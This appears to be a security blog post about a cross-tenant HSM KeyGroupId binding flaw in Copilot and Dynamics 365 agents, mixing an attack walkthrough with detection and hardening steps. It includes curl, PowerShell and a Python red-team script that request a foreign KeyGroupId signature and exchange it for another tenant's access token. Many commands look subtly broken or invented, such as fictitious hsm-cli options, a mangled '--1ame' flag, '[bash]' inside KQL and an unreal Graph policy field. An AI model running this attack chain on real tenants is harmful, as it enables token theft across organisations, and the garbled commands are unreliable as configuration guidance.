Listen to this Post
Introduction
Hardware Security Modules (HSMs) are trusted to enforce strict tenant and permission boundaries in multi‑tenant cloud platforms like Microsoft Copilot and Dynamics 365. However, when a single platform certificate and shared HSM key group are reused across all agents and tenants, a subtle flaw in KeyGroupId binding can allow a low‑privileged attacker to forge signed assertions and exchange them for access tokens belonging to a higher‑privileged agent in a different tenant – effectively breaking isolation.
Learning Objectives
- Understand how a missing `tenant, SP, KeyGroupId` binding on HSM operations enables cross‑tenant signature forgery.
- Learn to detect and mitigate this vulnerability using Azure AD logs, conditional access policies, and tenant restrictions.
- Implement practical hardening steps, including PowerShell and Azure CLI commands, to enforce strict key group isolation and monitor anomalous token exchanges.
You Should Know
1. Simulating the KeyGroupId Mismatch Attack – Step‑by‑Step
The attack leverages the platform’s failure to validate that the requesting agent’s Service Principal (SP) and tenant match the requested KeyGroupId. Below is a step‑by‑step guide to simulate (on a test environment) how an attacker could request a foreign KeyGroupId and obtain a valid HSM signature.
Prerequisites
- Two separate test tenants: low‑privilege tenant (Tenant A) and target high‑privilege tenant (Tenant B).
- A Copilot agent with minimal permissions in Tenant A (e.g., “Sales Close Agent”).
- Access to HSM signing interface logs and token endpoint.
Step 1: Capture the expected KeyGroupId for your low‑privilege agent
On a Linux jumpbox with `jq` and curl, query the agent’s configuration:
Authenticate to Tenant A az login --tenant tenantA.onmicrosoft.com Retrieve agent metadata curl -X GET "https://api.copilot.contoso.com/agents/sales-close/metadata" \ -H "Authorization: Bearer $(az account get-access-token --resource https://copilot.contoso.com --query accessToken -o tsv)" | jq '.keyGroupId'
Step 2: Request signature for a different KeyGroupId (belonging to Tenant B)
Craft a signing request with the stolen/target KeyGroupId (obtained via reconnaissance or leaked logs):
curl -X POST "https://hsm.copilot.contoso.com/sign" \
-H "Content-Type: application/json" \
-d '{
"agentId": "sales-close",
"keyGroupId": "high-privilege-keygroup-tenantB",
"assertionPayload": "malicious_assertion"
}'
The platform returns a valid signature under the shared platform certificate, ignoring the SP/tenant mismatch.
Step 3: Exchange signed assertion for an access token
Using the signed assertion, call the target tenant’s Entra ID token endpoint:
Windows PowerShell
$body = @{
client_id = "copilot-platform-client"
assertion = "<signed_assertion_from_step2>"
grant_type = "client_assertion"
scope = "https://copilot.contoso.com/.default"
}
Invoke-RestMethod -Uri "https://login.microsoftonline.com/tenantB.onmicrosoft.com/oauth2/v2.0/token" `
-Method Post -Body $body
A valid access token with the high‑privileged agent’s permissions is issued. In Tenant B’s telemetry, the activity appears as a normal platform agent flow.
Mitigation commands – Enforce strict binding using Azure Policy:
Azure CLI – create a conditional access policy to block cross-tenant token exchanges
az rest --method PATCH --uri "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies" \
--body '{"displayName":"Block Cross-Tenant HSM Tokens","conditions":{"applications":{"includeApplications":["copilot-platform"]},"clientApplications":{"includeAuthenticationContextClassReferences":["c1"]}},"grantControls":{"builtInControls":["block"]}}'
- Hardening HSM Key Group Isolation with Tenant Binding
To prevent this vulnerability, every HSM operation must validate the triplet (tenant_id, service_principal_id, keyGroupId). Use the following Linux commands to audit your current HSM policy.
Step 1: Extract current HSM signing policy from platform logs
Search for "Agent SP mismatch" events (these indicate missing enforcement)
grep "Agent SP mismatch for requested KeyGroupId" /var/log/copilot/hsm_audit.log | \
awk '{print $NF}' | sort | uniq -c
Step 2: Implement pre‑signature validation hook
Example pseudo‑code (to be deployed on HSM proxy):
def validate_keygroup_request(tenant, sp, requested_kid):
expected_kid = lookup_kid_by_sp_and_tenant(sp, tenant)
if requested_kid != expected_kid:
raise PermissionError(f"Mismatch: {sp}@{tenant} requested {requested_kid}")
return True
Step 3: Enable strict mode on HSM
For Azure Dedicated HSM (Linux):
Update HSM policy to enforce mandatory tenant attribute hsm-cli policy set --attr tenant-binding=strict --keygroup-matching=exact hsm-cli commit
On Windows using PowerShell with PKCS11:
Use vendor SDK (example for Safenet HSM) .\cmu list -slot 0 -showPolicy | Select-String "TenantBinding" .\cmu setPolicy -slot 0 -policy TenantBinding -value "Required"
- Detecting Anomalous Trusted Behavior in Entra ID Logs
Blue teams must instrument detections for unexpected tenant/agent pairings and abnormal token volumes. Below are KQL queries for Azure Sentinel and Linux log analysis.
Step 1: Query Entra ID sign‑in logs for cross‑tenant token issuance
// Azure Sentinel – KQL SigninLogs | where AppDisplayName == "Copilot Platform" | extend TenantId = tostring(parse_json(ResourceTenantId)) | extend RequestedKeyGroup = tostring(parse_json(authenticationDetails)[bash].keyGroupId) | where TenantId != "expected_tenant_for_this_agent" | project TimeGenerated, UserPrincipalName, IPAddress, TenantId, RequestedKeyGroup
Step 2: Linux log monitoring for anomalous KeyGroupId usage
Monitor HSM requests for rarely used key groups tail -F /var/log/copilot/hsm_access.log | while read line; do keygroup=$(echo $line | jq -r '.keyGroupId') count=$(grep -c "$keygroup" /var/log/copilot/hsm_access.log) if [ $count -lt 5 ]; then echo "ALERT: Rare KeyGroupId used: $keygroup at $(date)" >> /var/log/detections.txt fi done
Step 3: Set up alert for abnormal token data access volume
Using Azure Monitor:
az monitor scheduled-query create --1ame "AbnormalTokenVolume" \
--scopes "/subscriptions/.../workspaces/copilot-logs" \
--condition "count('SigninLogs') > 1000" \
--action-groups "/subscriptions/.../actionGroups/security-team"
4. Minimizing Agent App Permissions and First‑Party Consent
The blast radius of this vulnerability is amplified when agents have excessive permissions. Follow these steps to reduce privileges.
Step 1: Review all Copilot/D365 agent app registrations
Windows PowerShell - AzureAD module
Connect-AzureAD
Get-AzureADServicePrincipal -SearchString "Copilot Agent" | ForEach-Object {
Write-Host "Agent: $($<em>.DisplayName)"
Get-AzureADServicePrincipalOAuth2PermissionGrant -ObjectId $</em>.ObjectId
}
Step 2: Remove unnecessary scopes
Remove delegated permissions that are not required az ad app permission delete --id <agent-app-id> --permission-id <overly-broad-scope-id>
Step 3: Enforce just‑in‑time (JIT) agent elevation
Deploy a conditional access policy requiring a privileged access workstation (PAW) for any agent requesting KeyGroupId changes:
az rest --method PATCH --uri "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies" \
--body '{"displayName":"JIT for KeyGroupId Elevation","conditions":{"locations":{"includeLocations":["PAW_trusted_network"]}},"grantControls":{"builtInControls":["mfa","compliantDevice"]}}'
- Continuous Review of Tenant Restrictions and Conditional Access
Tenant restrictions prevent cross‑tenant token exchange but are often misconfigured. Use these commands to verify and enforce.
Step 1: Check current tenant restrictions in Azure AD
MS Graph PowerShell Get-MgPolicyCrossTenantAccessPolicy | Select-Object -ExpandProperty AllowedCloudEndpoints
Step 2: Restrict to only allowed tenants
az rest --method PATCH --uri "https://graph.microsoft.com/v1.0/policies/crossTenantAccessPolicy" \
--body '{"allowedCloudEndpoints":["https://yourtenant.onmicrosoft.com"], "blockAllOthers":true}'
Step 3: Monitor failed cross‑tenant attempts via Linux syslog
Configure rsyslog to forward Entra ID sign‑in errors:
echo "auth.notice /var/log/entra_cross_tenant.log" >> /etc/rsyslog.conf systemctl restart rsyslog tail -f /var/log/entra_cross_tenant.log | grep "CrossTenantAccessBlocked"
6. API Security Hardening for the Assertion‑to‑Token Exchange
The token endpoint must reject assertions that do not match the intended tenant. Implement an API gateway rule.
Step 1: Deploy a Lua script on Nginx (Linux) to inspect assertion claims
-- /etc/nginx/lua/validate_assertion.lua
local function validate_tenant()
local body = ngx.req.get_body_data()
local assertion = ngx.req.get_headers()["X-Assertion"]
local tenant = ngx.var.tenant
-- Decode JWT assertion (simplified)
local payload = assertion:match("^[^.]+%.([^.]+)")
local decoded = ngx.decode_base64(payload)
if not decoded:find('"tenant":"'..tenant..'"') then
ngx.exit(403)
end
end
Step 2: Apply rule to token endpoint
location /oauth2/v2.0/token {
access_by_lua_block { require("validate_assertion").validate_tenant() }
proxy_pass https://entra-backend;
}
7. Vulnerability Exploitation Walkthrough (Red Team Perspective)
To illustrate the attack path, use the following Python script to automate the entire flow (for authorized testing only).
import requests, jwt, time
Step 1: Obtain low-privilege token from Tenant A
low_token = requests.post(f"https://login.microsoftonline.com/tenantA/oauth2/token",
data={"client_id":"low_agent","grant_type":"client_credentials"}).json()["access_token"]
Step 2: Request signature for high-privilege KeyGroupId (Tenant B)
sig_req = requests.post("https://hsm.copilot.contoso.com/sign",
headers={"Authorization":f"Bearer {low_token}"},
json={"keyGroupId":"high_kid_tenantB","assertionPayload":"admin_assertion"})
signed_assertion = sig_req.json()["signature"]
Step 3: Exchange for token in Tenant B
target_token = requests.post(f"https://login.microsoftonline.com/tenantB/oauth2/v2.0/token",
data={"client_id":"copilot-platform","client_assertion":signed_assertion,
"grant_type":"client_assertion","scope":"https://copilot.contoso.com/.default"})
print(f"Compromised Token: {target_token.json()['access_token']}")
What Undercode Say
- Key Takeaway 1: A shared platform certificate combined with missing `tenant, SP, KeyGroupId` binding allows any low‑privileged agent to forge signatures and impersonate higher‑privileged agents across tenants.
- Key Takeaway 2: Blue teams must enforce strict binding on every HSM operation, minimize agent permissions, and instrument detections for unusual KeyGroupId usage and cross‑tenant token exchanges.
Analysis: This vulnerability exposes a fundamental flaw in multi‑tenant trust models that assume HSMs inherently enforce isolation. In reality, the HSM only signs what the platform asks it to sign – if the platform doesn’t validate the request context, the HSM becomes a blind notary. The attack is especially dangerous because it leaves no obvious traces in the target tenant’s telemetry; the activity looks like a normal platform agent flow. To remediate, organizations should move away from a single platform certificate and adopt per‑tenant or per‑agent HSM keys. Additionally, continuous validation of KeyGroupId bindings via automated pipelines (e.g., OPA policies on every signing request) is critical. Finally, conditional access policies that block cross‑tenant token exchanges and require device compliance for agent authentication can act as effective compensating controls.
Prediction
- -1 Increased vendor adoption of per‑tenant HSM partitions – As this attack vector gains attention, cloud providers will shift from shared platform certificates to isolated HSM domains per tenant, raising operational costs but improving isolation.
- -1 Rise of “trusted anomalous behavior” detection engines – SIEMs will incorporate machine learning models to spot when a low‑privileged agent suddenly requests a foreign KeyGroupId, leading to fewer false positives but more complex rules.
- +1 Open‑source tooling for automated binding validation – The security community will release scanners to audit HSM policies and Entra ID tenant restrictions, making it easier for blue teams to verify configurations.
- -1 Attackers will target first‑party consent and scopes – Even with fixed HSM binding, adversaries will pivot to abusing overly permissive OAuth scopes assigned to agents, leading to a new wave of token theft attacks.
▶️ Related Video (76% Match):
🎯Let’s Practice For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
IT/Security Reporter URL:
Reported By: Elishlomo Cybersecurity – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
